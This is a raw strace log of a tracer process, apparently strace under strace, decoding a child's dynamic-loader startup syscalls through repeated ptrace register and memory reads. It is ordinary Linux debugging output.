	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff7df9c80]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x4]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7df9c80, [0x2e646c2f6374652f]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7df9c88, [0x6f6c6572702e6f73]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7df9c90, [0x6461]) = 0
	write(2, "access(\"/etc/ld.so.preload\", R_O"..., 33) = 33
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x15]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xfffffffffffffffe]) = 0
	write(2, ") = -1 ENOENT (No such file"..., 47) = 47
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x2]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff7df71a6]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x1]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7df71a0, [0x652f007368746170]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7df71a8, [0x6f732e646c2f6374]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7df71b0, [0x200065686361632e]) = 0
	write(2, "open(\"/etc/ld.so.cache\", O_RDONL"..., 33) = 33
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x2]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x3]) = 0
	write(2, ") = 3\n", 11) = 11
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x5]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x3]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x7fffffffd980]) = 0
	write(2, "fstat(3, ", 9) = 9
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x5]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd980, [0x801]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd988, [0x2792b]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd990, [0x1]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd998, [0x81a4]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9a0, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9a8, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9b0, [0x19329]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9b8, [0x1000]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9c0, [0xd0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9c8, [0x4d811b9b]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9d0, [0xeb6e438]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9d8, [0x4d811b9a]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9e0, [0x268e6818]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9e8, [0x4d811b9a]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9f0, [0x268e6818]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9f8, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffda00, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffda08, [0]) = 0
	write(2, "{st_mode=S_IFREG|0644, st_size=1"..., 49) = 49
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x19329]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x1]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*R10, [0x2]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*R8, [0x3]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*R9, [0]) = 0
	write(2, "mmap(NULL, 103209, PROT_READ, MA"..., 47) = 47
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x7ffff7fdf000]) = 0
	write(2, ") = 0x7ffff7fdf000\n", 19) = 19
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x3]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x3]) = 0
	write(2, "close(3", 7) = 7
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x3]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
	write(2, ") "..., 37) = 37
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x15]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff7df720a]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7df7208, [0x6c2f6374652f0029]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7df7210, [0x686f6e2e6f732e64]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7df7218, [0x2d6c640070616377]) = 0
	write(2, "access(\"/etc/ld.so.nohwcap\", F_O"..., 33) = 33
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x15]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xfffffffffffffffe]) = 0
	write(2, ") = -1 ENOENT (No such file"..., 47) = 47
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x2]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff7fec943]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7fec940, [0x2f62696c2f00312e]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7fec948, [0x6e696c657362696c]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7fec950, [0x312e6f732e7875]) = 0
	write(2, "open(\"/lib/libselinux.so.1\", O_R"..., 37) = 37
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x2]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x3]) = 0
	write(2, ") = 3\n", 7) = 7
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x3]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x7fffffffdb38]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x340]) = 0
	write(2, "read(3, ", 8) = 8
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x340]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffdb38, [0x10102464c457f]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffdb40, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffdb48, [0x1003e0003]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffdb50, [0x59b0]) = 0
	write(2, "\"\\177ELF\\2\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0"..., 81) = 81
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x5]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x3]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x7fffffffd9d0]) = 0
	write(2, "fstat(3, ", 9) = 9
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x5]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9d0, [0x801]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9d8, [0x20a84]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9e0, [0x1]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9e8, [0x81a4]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9f0, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9f8, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffda00, [0x1cb68]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffda08, [0x1000]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffda10, [0xe8]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffda18, [0x4d820b7c]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffda20, [0x2a21ef34]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffda28, [0x4be79d71]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffda30, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffda38, [0x4d340da8]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffda40, [0x2f650eb]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffda48, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffda50, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffda58, [0]) = 0
	write(2, "{st_mode=S_IFREG|0644, st_size=1"..., 49) = 49
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x21d630]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x5]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*R10, [0x802]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*R8, [0x3]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*R9, [0]) = 0
	write(2, "mmap(NULL, 2217520, PROT_READ|PR"..., 72) = 72
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x7ffff7bbe000]) = 0
	write(2, ") = 0x7ffff7bbe000\n", 19) = 19
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xa]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff7bda000]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x1ff000]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0]) = 0
	write(2, "mprotect(0x7ffff7bda000, 2093056"..., 43) = 43
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xa]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
	write(2, ") = 0\n", 6) = 6
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff7dd9000]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x2000]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x3]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*R10, [0x812]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*R8, [0x3]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*R9, [0x1b000]) = 0
	write(2, "mmap(0x7ffff7dd9000, 8192, PROT_"..., 96) = 96
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x7ffff7dd9000]) = 0
	write(2, ") = 0x7ffff7dd9000\n", 19) = 19
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff7ddb000]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x630]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x3]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*R10, [0x32]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*R8, [0xffffffff]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*R9, [0]) = 0
	write(2, "mmap(0x7ffff7ddb000, 1584, PROT_"..., 91) = 91
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x7ffff7ddb000]) = 0
	write(2, ") = 0x7ffff7ddb000\n", 19) = 19
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x3]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x3]) = 0
	write(2, "close(3", 7) = 7
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
